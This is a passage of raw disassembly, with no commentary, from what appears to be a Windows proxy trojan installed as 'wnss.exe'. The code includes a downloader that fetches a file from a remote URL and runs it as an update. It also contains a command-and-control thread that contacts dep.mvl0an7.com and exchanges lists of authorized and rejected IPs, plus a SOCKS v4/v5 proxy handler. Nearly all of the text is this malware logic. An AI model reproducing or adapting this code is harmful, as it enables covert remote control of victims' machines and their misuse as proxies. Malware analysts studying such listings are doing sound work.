; CODE XREF: sub_445925+Cj pop ebx retn sub_445925 endp ; =============== S U B R O U T I N E ======================================= sub_445979 proc near ; CODE XREF: DMN1:loc_44630Bp ; DMN1:004463B0p ... push ebx push esi xor esi, esi push offset a_win32__wnss_s ; "_win32__wnss_sdm__" push 0 push 100000h call dword_411D0C mov ebx, eax test ebx, ebx jz short loc_4459A1 xor esi, esi inc esi push ebx call dword_411CF8 xor ebx, ebx loc_4459A1: ; CODE XREF: sub_445979+1Aj mov eax, esi pop esi pop ebx retn sub_445979 endp ; =============== S U B R O U T I N E ======================================= sub_4459A6 proc near ; CODE XREF: sub_448AD1+C5p cmp dword_411018, 0 jz short locret_4459C2 push dword_411018 call dword_411CF8 and dword_411018, 0 locret_4459C2: ; CODE XREF: sub_4459A6+7j retn sub_4459A6 endp ; --------------------------------------------------------------------------- push ebx cmp dword_41101C, 0 jz short loc_4459D1 xor eax, eax jmp short loc_445A15 ; --------------------------------------------------------------------------- loc_4459D1: ; CODE XREF: DMN1:004459CBj xor ebx, ebx push offset a_win32__wnss_0 ; "_win32__wnss_sm__" push 0 push 0 call dword_411D08 mov dword_41101C, eax cmp dword_41101C, 0 jz short loc_445A13 call dword_411CE8 cmp eax, 0B7h jnz short loc_445A13 xor ebx, ebx inc ebx push dword_41101C call dword_411CF8 and dword_41101C, 0 loc_445A13: ; CODE XREF: DMN1:004459EEj ; DMN1:004459FBj mov eax, ebx loc_445A15: ; CODE XREF: DMN1:004459CFj pop ebx retn ; =============== S U B R O U T I N E ======================================= sub_445A17 proc near ; CODE XREF: DMN1:0044886Ep ; DMN1:loc_4489F8p push ebx push esi xor esi, esi push offset a_win32__wnss_0 ; "_win32__wnss_sm__" push 0 push 100000h call dword_411D0C mov ebx, eax test ebx, ebx jz short loc_445A3F xor esi, esi inc esi push ebx call dword_411CF8 xor ebx, ebx loc_445A3F: ; CODE XREF: sub_445A17+1Aj mov eax, esi pop esi pop ebx retn sub_445A17 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445A44 proc near ; CODE XREF: DMN1:00445E29p ; sub_448AD1+FBp ... var_854 = dword ptr -854h var_850 = dword ptr -850h var_844 = byte ptr -844h var_44 = dword ptr -44h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 854h push ebx push esi mov ebx, [ebp+arg_8] mov esi, [ebp+arg_C] test esi, esi jz short loc_445A5C and dword ptr [esi], 0 loc_445A5C: ; CODE XREF: sub_445A44+13j push 44h push 0 lea eax, [ebp+var_44] push eax call sub_4499B1 add esp, 0Ch mov [ebp+var_44], 44h test ebx, ebx jz short loc_445A8C push offset asc_40EDE8 ; "\"" lea eax, [ebp+var_844] push eax call sub_449A51 pop ecx pop ecx jmp short loc_445A93 ; --------------------------------------------------------------------------- loc_445A8C: ; CODE XREF: sub_445A44+31j mov [ebp+var_844], 0 loc_445A93: ; CODE XREF: sub_445A44+46j cmp [ebp+arg_0], 0 jz short loc_445AAC push [ebp+arg_0] lea eax, [ebp+var_844] push eax call sub_449A71 pop ecx pop ecx jmp short loc_445ABF ; --------------------------------------------------------------------------- loc_445AAC: ; CODE XREF: sub_445A44+53j push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\wnss.exe" lea eax, [ebp+var_844] push eax call sub_449A71 pop ecx pop ecx loc_445ABF: ; CODE XREF: sub_445A44+66j test ebx, ebx jz short loc_445AD6 push offset asc_40EDE8 ; "\"" lea eax, [ebp+var_844] push eax call sub_449A71 pop ecx pop ecx loc_445AD6: ; CODE XREF: sub_445A44+7Dj cmp [ebp+arg_4], 0 jz short loc_445B00 push offset asc_40EDC9 ; " " lea eax, [ebp+var_844] push eax call sub_449A71 pop ecx pop ecx push [ebp+arg_4] lea eax, [ebp+var_844] push eax call sub_449A71 pop ecx pop ecx loc_445B00: ; CODE XREF: sub_445A44+96j lea eax, [ebp+var_854] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_844] push eax push 0 call dword_411D10 test eax, eax jz short loc_445B53 push [ebp+var_850] call dword_411CF8 test esi, esi jz short loc_445B44 mov eax, [ebp+var_854] mov [esi], eax jmp short loc_445B50 ; --------------------------------------------------------------------------- loc_445B44: ; CODE XREF: sub_445A44+F4j push [ebp+var_854] call dword_411CF8 loc_445B50: ; CODE XREF: sub_445A44+FEj xor eax, eax inc eax loc_445B53: ; CODE XREF: sub_445A44+E4j pop esi pop ebx mov esp, ebp pop ebp retn sub_445A44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445B59 proc near ; CODE XREF: DMN1:00445D20p var_408 = dword ptr -408h var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 408h push ebx push esi push edi push 0 push 0 push 0 push 1 push offset aMsdownloader ; "msdownloader" call dword_411EF0 mov edi, eax push edi push offset aInternetopenI ; "InternetOpen(): %i\n" call nullsub_4 pop ecx pop ecx test edi, edi jnz short loc_445B92 xor eax, eax jmp loc_445CB4 ; --------------------------------------------------------------------------- loc_445B92: ; CODE XREF: sub_445B59+30j push 0 push 80080300h push 0 push 0 push [ebp+arg_0] push edi call dword_411EF4 mov ebx, eax push edi push offset aInternetopenur ; "InternetOpenUrl(): %i\n" call nullsub_4 pop ecx pop ecx test ebx, ebx jnz short loc_445BC8 push edi call dword_411EF8 xor eax, eax jmp loc_445CB4 ; --------------------------------------------------------------------------- loc_445BC8: ; CODE XREF: sub_445B59+5Fj push offset aWb_0 ; "wb" push [ebp+arg_4] call sub_4496E1 pop ecx pop ecx mov esi, eax test esi, esi jnz short loc_445C01 push [ebp+arg_4] push offset aFopenS___ ; "fopen(%s)...\n" call nullsub_4 pop ecx pop ecx push ebx call dword_411EF8 push edi call dword_411EF8 xor eax, eax jmp loc_445CB4 ; --------------------------------------------------------------------------- loc_445C01: ; CODE XREF: sub_445B59+82j push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadingSS ; "downloading [%s] --> %s\r\n" call nullsub_4 add esp, 0Ch push 0 call dword_411D14 jmp short loc_445C39 ; --------------------------------------------------------------------------- loc_445C1E: ; CODE XREF: sub_445B59+F9j cmp [ebp+var_4], 0 jz short loc_445C54 push esi push 1 push [ebp+var_4] lea eax, [ebp+var_404] push eax call sub_449B41 add esp, 10h loc_445C39: ; CODE XREF: sub_445B59+C3j lea eax, [ebp+var_4] push eax push 3FFh lea eax, [ebp+var_404] push eax push ebx call dword_411EFC test eax, eax jnz short loc_445C1E loc_445C54: ; CODE XREF: sub_445B59+C9j call dword_411CE8 mov [ebp+var_408], eax push esi call sub_449941 pop ecx push ebx call dword_411EF8 push edi call dword_411EF8 cmp [ebp+var_408], 0 jz short loc_445C9E push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadedFail ; "downloaded failed: [%s] --> %s\r\n" call nullsub_4 add esp, 0Ch push [ebp+arg_4] call dword_411D18 xor eax, eax jmp short loc_445CB4 ; --------------------------------------------------------------------------- loc_445C9E: ; CODE XREF: sub_445B59+123j push [ebp+arg_4] push [ebp+arg_0] push offset aDownloadedSS ; "downloaded [%s] --> %s\r\n" call nullsub_4 add esp, 0Ch xor eax, eax inc eax loc_445CB4: ; CODE XREF: sub_445B59+34j ; sub_445B59+6Aj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_445B59 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 3400h call sub_449B11 push ebx push esi push edi mov ebx, [ebp+8] mov byte ptr [ebp-2400h], 0 mov byte ptr [ebp-1000h], 0 mov esi, ebx push esi push offset aUpdateUrlS ; "UPDATE URL: <%s>\n" call nullsub_4 pop ecx pop ecx lea eax, [ebp-3400h] push eax push 0FFFh call dword_411D1C lea eax, [ebp-2400h] push eax push 0 push offset aMsss ; "msss" lea eax, [ebp-3400h] push eax call dword_411D20 lea eax, [ebp-2400h] push eax push esi call sub_445B59 pop ecx pop ecx test eax, eax jz loc_445E42 lea eax, [ebp-2400h] push eax push offset aDownloadedToS ; "downloaded to: <%s>\n" call nullsub_4 pop ecx pop ecx lea eax, [ebp-3400h] push eax push 0FFFh call dword_411D1C lea eax, [ebp-1000h] push eax push 0 push offset aMsssx ; "msssx" lea eax, [ebp-3400h] push eax call dword_411D20 mov edi, dword_4128A4 push 0 lea eax, [ebp-1000h] push eax push edi call dword_411D24 test eax, eax jz loc_445E42 push 80h lea eax, [ebp-1000h] push eax call dword_411D28 push offset aUpdate ; "*update \"" lea eax, [ebp-1400h] push eax call sub_449A51 pop ecx pop ecx lea eax, [ebp-2400h] push eax lea eax, [ebp-1400h] push eax call sub_449A71 pop ecx pop ecx push offset asc_40ECEC ; "\" \"" lea eax, [ebp-1400h] push eax call sub_449A71 pop ecx pop ecx push edi lea eax, [ebp-1400h] push eax call sub_449A71 pop ecx pop ecx push offset asc_40EDE8 ; "\"" lea eax, [ebp-1400h] push eax call sub_449A71 pop ecx pop ecx lea eax, [ebp-1400h] push eax lea eax, [ebp-1000h] push eax push offset aRunningSS___ ; "running %s (%s)...\r\n" call nullsub_4 add esp, 0Ch push 0 push 1 lea eax, [ebp-1400h] push eax lea eax, [ebp-1000h] push eax call sub_445A44 add esp, 10h test eax, eax jz short loc_445E42 loc_445E35: ; CODE XREF: DMN1:00445E40j push 1770h call dword_411D00 jmp short loc_445E35 ; --------------------------------------------------------------------------- loc_445E42: ; CODE XREF: DMN1:00445D29j ; DMN1:00445D87j ... push 0 push offset dword_411014 call dword_411D04 lea eax, [ebp-2400h] push eax call sub_449A31 pop ecx test eax, eax jz short loc_445E6D lea eax, [ebp-2400h] push eax call dword_411D18 loc_445E6D: ; CODE XREF: DMN1:00445E5Ej lea eax, [ebp-1000h] push eax call sub_449A31 pop ecx test eax, eax jz short loc_445E8B lea eax, [ebp-1000h] push eax call dword_411D18 loc_445E8B: ; CODE XREF: DMN1:00445E7Cj push ebx call sub_443397 pop ecx call sub_449D81 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_445E9F proc near ; CODE XREF: DMN1:loc_446135p xor ecx, ecx mov eax, ecx retn sub_445E9F endp ; =============== S U B R O U T I N E ======================================= sub_445EA4 proc near ; CODE XREF: DMN1:0044609Bp ; DMN1:004460ADp xor eax, eax retn sub_445EA4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_445EA7 proc near ; CODE XREF: DMN1:00446226p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax push ebx push esi mov ebx, [ebp+arg_4] xor esi, esi push offset dword_41285C call dword_411CCC cmp [ebp+arg_8], 0 jnz short loc_445ECF push dword_412934 call sub_4442BC pop ecx loc_445ECF: ; CODE XREF: sub_445EA7+1Aj mov esi, [ebp+arg_0] mov eax, ebx mov ecx, 4 cdq idiv ecx mov ebx, eax jmp short loc_445F17 ; --------------------------------------------------------------------------- loc_445EE0: ; CODE XREF: sub_445EA7+72j push 0 push dword ptr [esi] push dword_412934 call sub_44436A add esp, 0Ch mov eax, [esi] mov [ebp+var_4], eax push eax call sub_449101 push eax mov eax, dword_412934 push dword ptr [eax+8] push offset aAuthorizedIpIS ; "authorized IP #%i [%s]\n" call nullsub_4 add esp, 0Ch dec ebx add esi, 4 loc_445F17: ; CODE XREF: sub_445EA7+37j test ebx, ebx jg short loc_445EE0 push offset dword_41285C call dword_411CD0 xor eax, eax inc eax pop esi pop ebx mov esp, ebp pop ebp retn sub_445EA7 endp ; --------------------------------------------------------------------------- push ebx push edi mov ecx, [esp+0Ch] mov ebx, [esp+10h] xor edi, edi jmp short loc_445F49 ; --------------------------------------------------------------------------- loc_445F3D: ; CODE XREF: DMN1:00445F53j mov eax, [ebx+4] mov [ecx], eax mov ebx, [ebx+8] add ecx, 4 inc edi loc_445F49: ; CODE XREF: DMN1:00445F3Bj cmp edi, 4000h jge short loc_445F55 test ebx, ebx jnz short loc_445F3D loc_445F55: ; CODE XREF: DMN1:00445F4Fj mov edx, [esp+14h] mov [edx], edi mov eax, ebx pop edi pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi push offset dword_41285C call dword_411CCC push dword_412934 call sub_4442BC pop ecx push offset dword_41285C call dword_411CD0 push offset aDep_mvl0an7_co ; "dep.mvl0an7.com" call sub_443ADF pop ecx mov [ebp-14h], eax test eax, eax jz short loc_445FA8 cmp eax, 0FFFFFFFFh jz short loc_445FA8 test eax, eax jnz short loc_445FAD loc_445FA8: ; CODE XREF: DMN1:00445F9Bj ; DMN1:00445FA2j jmp loc_4462DA ; --------------------------------------------------------------------------- loc_445FAD: ; CODE XREF: DMN1:00445FA6j mov word ptr [ebp-16h], 24EAh xor esi, esi and dword ptr [ebp-0Ch], 0 push 0 push offset dword_411024 call dword_411D04 cmp dword_411004, 0 jnz short loc_445FEB movzx eax, word ptr dword_41100C push eax movzx eax, word ptr dword_411010 push eax call sub_4446FD pop ecx pop ecx mov dword_411004, eax loc_445FEB: ; CODE XREF: DMN1:00445FCDj movzx eax, word ptr dword_41100C push eax movzx eax, word ptr dword_411010 push eax call sub_44476A pop ecx pop ecx push dword_411010 push offset aMyPortI ; "my port [%i]\n" call nullsub_4 pop ecx pop ecx mov eax, [ebp-14h] mov [ebp-1Ch], eax push eax call sub_449101 mov [ebp-20h], eax movzx eax, word ptr [ebp-16h] push eax push dword ptr [ebp-20h] push offset aSrvSI ; "SRV: [%s:%i]\n" call nullsub_4 add esp, 0Ch and dword ptr [ebp-10h], 0 call sub_44367A mov [ebp-10h], eax test eax, eax jz loc_4462DA push dword ptr [ebp-10h] call sub_443CE4 pop ecx mov esi, eax push offset aSrvConnecting_ ; "SRV: connecting...\n" call nullsub_4 pop ecx movzx eax, word ptr [ebp-16h] push eax push dword ptr [ebp-14h] push dword ptr [ebp-10h] call sub_443888 add esp, 0Ch test eax, eax jnz short loc_446089 push offset aSrvConnectingF ; "SRV: connecting failed.\n" call nullsub_4 pop ecx jmp loc_4462DA ; --------------------------------------------------------------------------- loc_446089: ; CODE XREF: DMN1:00446077j push offset aSrvHandshaki_0 ; "SRV: handshaking...\n" call nullsub_4 pop ecx mov dword ptr [ebp-24h], 1000h call sub_445EA4 push eax push offset aSrvRip?I ; "SRV: rip? %i\n" call nullsub_4 pop ecx pop ecx call sub_445EA4 test eax, eax jz short loc_4460BA or dword ptr [ebp-24h], 1 loc_4460BA: ; CODE XREF: DMN1:004460B4j push dword ptr [ebp-24h] movzx eax, word ptr dword_411010 push eax push esi call sub_444097 add esp, 0Ch test eax, eax jnz short loc_4460E2 push offset aSrvHandshaking ; "SRV: handshaking failed.\n" call nullsub_4 pop ecx jmp loc_4462DA ; --------------------------------------------------------------------------- loc_4460E2: ; CODE XREF: DMN1:004460D0j push offset word_40EC12 call nullsub_4 pop ecx push esi call sub_444272 pop ecx mov [ebp-8], eax test eax, eax jz short loc_44610B push offset aSrvAckHandshac ; "SRV: ACK handshacking failed\n" call nullsub_4 pop ecx jmp loc_4462DA ; --------------------------------------------------------------------------- loc_44610B: ; CODE XREF: DMN1:004460F9j test byte ptr [ebp-24h], 1 jz loc_4461C2 push offset aSrvSendingReje ; "* SRV: sending rejected IPs\n" call nullsub_4 pop ecx push 10004h call sub_443369 pop ecx mov [ebp-30h], eax mov [ebp-2Ch], eax and dword ptr [ebp-28h], 0 loc_446135: ; CODE XREF: DMN1:00446158j call sub_445E9F mov edi, eax test edi, edi jz short loc_44615A mov edx, [ebp-2Ch] mov [edx], edi mov eax, [ebp-2Ch] add eax, 4 mov [ebp-2Ch], eax inc dword ptr [ebp-28h] cmp dword ptr [ebp-28h], 3FFFh jl short loc_446135 loc_44615A: ; CODE XREF: DMN1:0044613Ej mov eax, [ebp-28h] add eax, eax add eax, eax push eax push dword ptr [ebp-30h] push 100h push esi call sub_443EB0 add esp, 10h test eax, eax jnz short loc_446190 push dword ptr [ebp-30h] call sub_443397 pop ecx push offset sub_40EBB5 call nullsub_4 pop ecx jmp loc_4462DA ; --------------------------------------------------------------------------- loc_446190: ; CODE XREF: DMN1:00446175j push dword ptr [ebp-30h] call sub_443397 pop ecx push offset aSrvAckRejected ; "SRV: ACK rejected IPs\n" call nullsub_4 pop ecx push esi call sub_444272 pop ecx mov [ebp-8], eax test eax, eax jz short loc_4461C2 push offset aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n" call nullsub_4 pop ecx jmp loc_4462DA ; --------------------------------------------------------------------------- loc_4461C2: ; CODE XREF: DMN1:0044610Fj ; DMN1:004461B0j ... push 0FFFFh push 0 lea eax, [ebp-2] push eax push esi call sub_44407C add esp, 10h mov ebx, eax test ebx, ebx jl loc_4462DA movzx eax, word ptr [ebp-2] mov [ebp-28h], eax cmp eax, 200h jz short loc_446201 cmp eax, 201h jz short loc_446242 cmp eax, 202h jz short loc_446211 jmp loc_4462D5 ; --------------------------------------------------------------------------- loc_446201: ; CODE XREF: DMN1:004461ECj push offset word_40EB76 call nullsub_4 pop ecx jmp loc_4462DA ; --------------------------------------------------------------------------- loc_446211: ; CODE XREF: DMN1:004461FAj push offset byte_40EB69 call nullsub_4 pop ecx push dword ptr [ebp-0Ch] push ebx push dword ptr [esi+470h] call sub_445EA7 add esp, 0Ch test eax, eax jz loc_4462D5 mov dword ptr [ebp-0Ch], 1 jmp loc_4462D5 ; --------------------------------------------------------------------------- loc_446242: ; CODE XREF: DMN1:004461F3j test ebx, ebx jnz short loc_44624F mov edx, [esi+470h] mov byte ptr [edx], 0 loc_44624F: ; CODE XREF: DMN1:00446244j push dword ptr [esi+470h] push offset sub_40EB56 call nullsub_4 pop ecx pop ecx test ebx, ebx jz short loc_4462D5 push dword ptr [esi+470h] call sub_449A31 pop ecx test eax, eax jz short loc_4462D5 push 0 push offset dword_411014 call dword_411D2C test eax, eax jnz short loc_4462D5 push 1 push offset dword_411014 call dword_411D04 push 10000h call sub_443369 pop ecx mov [ebp-2Ch], eax push dword ptr [esi+470h] push dword ptr [ebp-2Ch] call sub_449A51 pop ecx pop ecx push offset sub_40EB3C call nullsub_4 pop ecx push dword ptr [ebp-2Ch] push 0 push offset sub_40399A call sub_449CF1 add esp, 0Ch push eax call dword_411CF8 loc_4462D5: ; CODE XREF: DMN1:004461FCj ; DMN1:00446230j ... jmp loc_4461C2 ; --------------------------------------------------------------------------- loc_4462DA: ; CODE XREF: DMN1:loc_445FA8j ; DMN1:00446046j ... test esi, esi jz short loc_4462E5 push esi call sub_443D5C pop ecx loc_4462E5: ; CODE XREF: DMN1:004462DCj cmp dword ptr [ebp-10h], 0 jz short loc_4462F4 push dword ptr [ebp-10h] call sub_4437E3 pop ecx loc_4462F4: ; CODE XREF: DMN1:004462E9j push offset aSrvcommthreadD ; "SrvCommThread: done\n" call nullsub_4 pop ecx call sub_449D81 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_44630B: ; CODE XREF: DMN1:0044632Cj call sub_445979 test eax, eax jz short loc_446321 call sub_44744C push 0 call dword_411D30 loc_446321: ; CODE XREF: DMN1:00446312j push 3E8h call dword_411D00 jmp short loc_44630B ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax push ebx push esi push edi and dword ptr [ebp-4], 0 loc_44633A: ; CODE XREF: DMN1:004463D3j push 0 push 0 push offset sub_403C3F call sub_449CF1 add esp, 0Ch mov esi, eax push 0FFFFFFFFh mov eax, esi push eax call dword_411D34 mov eax, esi push eax call dword_411CF8 cmp dword_411030, 0 jz short loc_4463D8 lea eax, [ebp-4] push eax call sub_443322 pop ecx mov ecx, 3Ch cdq idiv ecx lea eax, [edx+6EAh] mov edi, eax push edi push offset aSrvWaitingISec ; "Srv: waiting %i seconds...\n" call nullsub_4 pop ecx pop ecx mov ebx, edi jmp short loc_4463BB ; --------------------------------------------------------------------------- loc_446395: ; CODE XREF: DMN1:004463BDj push ebx push offset aISecondsLeft_ ; "\r%i seconds left \b\b\b." call nullsub_4 pop ecx pop ecx push 7D0h call dword_411D00 sub ebx, 2 call sub_445979 test eax, eax jz short loc_4463BB xor ebx, ebx loc_4463BB: ; CODE XREF: DMN1:00446393j ; DMN1:004463B7j test ebx, ebx jg short loc_446395 push offset asc_40EADA ; "\r \r" call nullsub_4 pop ecx cmp dword_411030, 0 jz short loc_4463D8 jmp loc_44633A ; --------------------------------------------------------------------------- loc_4463D8: ; CODE XREF: DMN1:00446368j ; DMN1:004463D1j call sub_449D81 pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4463E4 proc near ; CODE XREF: sub_448AD1+3DFp ; sub_448AD1+488p ... var_44 = dword ptr -44h var_40 = byte ptr -40h var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 44h mov [ebp+var_44], 3Fh lea eax, [ebp+var_44] push eax lea eax, [ebp+var_40] push eax call dword_411E40 test eax, eax jz short loc_44642B cmp [ebp+var_44], 6 jnb short loc_44640D xor eax, eax jmp short loc_44642B ; --------------------------------------------------------------------------- loc_44640D: ; CODE XREF: sub_4463E4+23j mov [ebp+var_1], 0 lea eax, [ebp+var_40] push eax push offset aSystem ; "SYSTEM" call dword_411D38 test eax, eax jz short loc_446428 xor eax, eax jmp short loc_44642B ; --------------------------------------------------------------------------- loc_446428: ; CODE XREF: sub_4463E4+3Ej xor eax, eax inc eax loc_44642B: ; CODE XREF: sub_4463E4+1Dj ; sub_4463E4+27j ... mov esp, ebp pop ebp retn sub_4463E4 endp ; =============== S U B R O U T I N E ======================================= sub_44642F proc near ; CODE XREF: sub_447EA9+1p ; DMN1:loc_448039p ... push ebx cmp dword_411028, 0 jz short loc_44643D xor eax, eax jmp short loc_446481 ; --------------------------------------------------------------------------- loc_44643D: ; CODE XREF: sub_44642F+8j xor ebx, ebx push offset a_win32__wnss_u ; "_win32__wnss_um__" push 0 push 0 call dword_411D08 mov dword_411028, eax cmp dword_411028, 0 jz short loc_44647F call dword_411CE8 cmp eax, 0B7h jnz short loc_44647F xor ebx, ebx inc ebx push dword_411028 call dword_411CF8 and dword_411028, 0 loc_44647F: ; CODE XREF: sub_44642F+2Bj ; sub_44642F+38j mov eax, ebx loc_446481: ; CODE XREF: sub_44642F+Cj pop ebx retn sub_44642F endp ; =============== S U B R O U T I N E ======================================= sub_446483 proc near ; CODE XREF: sub_447EA9+3Dp ; DMN1:0044801Dp ... cmp dword_411028, 0 jz short locret_44649F push dword_411028 call dword_411CF8 and dword_411028, 0 locret_44649F: ; CODE XREF: sub_446483+7j retn sub_446483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4464A0 proc near ; CODE XREF: sub_44651C+2Ep var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx lea ebx, [ebp+var_20] mov byte ptr [ebx], 0 inc ebx movzx eax, [ebp+arg_4] mov [ebx], al inc ebx mov ax, [ebp+arg_C] mov [ebx], ax add ebx, 2 mov eax, [ebp+arg_8] mov [ebx], eax push 8 lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_443AA8 add esp, 0Ch pop ebx mov esp, ebp pop ebp retn sub_4464A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4464DA proc near ; CODE XREF: sub_44651C+47p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h push ebp mov ebp, esp sub esp, 20h push ebx lea ebx, [ebp+var_20] mov byte ptr [ebx], 5 inc ebx movzx eax, [ebp+arg_4] mov [ebx], al inc ebx mov byte ptr [ebx], 0 inc ebx mov byte ptr [ebx], 1 inc ebx mov eax, [ebp+arg_8] mov [ebx], eax add ebx, 4 mov ax, [ebp+arg_C] mov [ebx], ax push 0Ah lea eax, [ebp+var_20] push eax push [ebp+arg_0] call sub_443AA8 add esp, 0Ch pop ebx mov esp, ebp pop ebp retn sub_4464DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44651C proc near ; CODE XREF: DMN1:004467E6p ; DMN1:004469A2p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h arg_C = dword ptr 14h arg_10 = word ptr 18h push ebp mov ebp, esp push ebx mov bl, [ebp+arg_8] cmp bl, 9 jbe short loc_44652C xor bl, bl inc bl loc_44652C: ; CODE XREF: sub_44651C+Aj cmp [ebp+arg_0], 4 jnz short loc_446554 movzx eax, bl mov bl, byte_411034[eax] movzx eax, [ebp+arg_10] push eax push [ebp+arg_C] movzx eax, bl push eax push [ebp+arg_4] call sub_4464A0 add esp, 10h jmp short loc_44656B ; --------------------------------------------------------------------------- loc_446554: ; CODE XREF: sub_44651C+14j movzx eax, [ebp+arg_10] push eax push [ebp+arg_C] movzx eax, bl push eax push [ebp+arg_4] call sub_4464DA add esp, 10h loc_44656B: ; CODE XREF: sub_44651C+36j pop ebx pop ebp retn sub_44651C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44656E proc near ; CODE XREF: DMN1:00446770p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx mov ebx, [ebp+arg_0] loc_446576: ; CODE XREF: sub_44656E+23j push 1 lea eax, [ebp+var_1] push eax push ebx call sub_4439FD add esp, 0Ch test eax, eax jg short loc_44658D xor eax, eax jmp short loc_446596 ; --------------------------------------------------------------------------- loc_44658D: ; CODE XREF: sub_44656E+19j cmp [ebp+var_1], 0 jnz short loc_446576 xor eax, eax inc eax loc_446596: ; CODE XREF: sub_44656E+1Dj pop ebx mov esp, ebp pop ebp retn sub_44656E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44659B proc near ; CODE XREF: DMN1:004467A7p var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push eax push ebx push esi push edi mov ebx, [ebp+arg_4] mov esi, [ebp+arg_8] xor edi, edi mov byte ptr [ebx], 0 loc_4465AD: ; CODE XREF: sub_44659B+47j push 1 lea eax, [ebp+var_1] push eax push [ebp+arg_0] call sub_4439FD add esp, 0Ch test eax, eax jg short loc_4465C6 xor eax, eax jmp short loc_4465E7 ; --------------------------------------------------------------------------- loc_4465C6: ; CODE XREF: sub_44659B+25j mov eax, edi inc edi mov dl, [ebp+var_1] mov [ebx+eax], dl mov byte ptr [ebx+edi], 0 lea eax, [esi-1] cmp edi, eax jl short loc_4465DE xor eax, eax jmp short loc_4465E7 ; --------------------------------------------------------------------------- loc_4465DE: ; CODE XREF: sub_44659B+3Dj cmp [ebp+var_1], 0 jnz short loc_4465AD xor eax, eax inc eax loc_4465E7: ; CODE XREF: sub_44659B+29j ; sub_44659B+41j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44659B endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 430h push ebx push esi push edi mov eax, [ebp+8] mov [ebp-41Ch], eax mov edi, [eax+8] mov eax, [ebp-41Ch] mov edx, [eax] mov [ebp-410h], edx mov dx, [eax+4] mov [ebp-40Ah], dx push eax call sub_443397 pop ecx and dword ptr [ebp-4], 0 mov eax, [ebp-410h] mov [ebp-420h], eax push eax call sub_449101 mov [ebp-418h], eax movzx eax, word ptr [ebp-40Ah] push eax push dword ptr [ebp-418h] push offset aConnectionFrom ; "connection from [%s]\n" call sub_449641 add esp, 0Ch mov byte ptr [ebp-411h], 0 mov byte ptr [ebp-421h], 0 push 1 lea eax, [ebp-411h] push eax push edi call sub_4439FD add esp, 0Ch test eax, eax jle loc_446C5B push offset dword_41285C call dword_411CCC push 0 push dword ptr [ebp-410h] push dword_412934 call sub_444304 add esp, 0Ch mov [ebp-428h], eax push offset dword_41285C call dword_411CD0 cmp dword ptr [ebp-428h], 0 jnz short loc_4466D7 push dword ptr [ebp-418h] push offset aConnectionReje ; "connection rejected (from [%s])\n" call nullsub_3 pop ecx pop ecx jmp loc_446C5B ; --------------------------------------------------------------------------- loc_4466D7: ; CODE XREF: DMN1:004466BEj mov word ptr [ebp-40Ah], 0 and dword ptr [ebp-410h], 0 mov al, [ebp-411h] cmp al, 4 jz short loc_4466F9 cmp al, 5 jnz loc_446C5B loc_4466F9: ; CODE XREF: DMN1:004466EFj push dword ptr [ebp-418h] movsx eax, byte ptr [ebp-411h] push eax push offset aSocksVIS ; "socks v%i [%s]\n" call nullsub_3 add esp, 0Ch cmp byte ptr [ebp-411h], 4 jnz loc_4467F3 push 1 lea eax, [ebp-421h] push eax push edi call sub_4439FD add esp, 0Ch test eax, eax jle loc_446C5B push 2 lea eax, [ebp-40Ah] push eax push edi call sub_4439FD add esp, 0Ch test eax, eax jle loc_446C5B push 4 lea eax, [ebp-410h] push eax push edi call sub_4439FD add esp, 0Ch test eax, eax jle loc_446C5B push edi call sub_44656E pop ecx test eax, eax jz loc_446C5B mov eax, [ebp-410h] test eax, 0FFFFFFh jnz loc_4469DF test eax, 0FF000000h jz loc_4469DF push 400h lea eax, [ebp-408h] push eax push edi call sub_44659B add esp, 0Ch test eax, eax jz loc_446C5B lea eax, [ebp-408h] push eax call sub_443ADF pop ecx mov [ebp-410h], eax test eax, eax jz short loc_4467DD cmp eax, 0FFFFFFFFh jz short loc_4467DD test eax, eax jnz loc_4469DF loc_4467DD: ; CODE XREF: 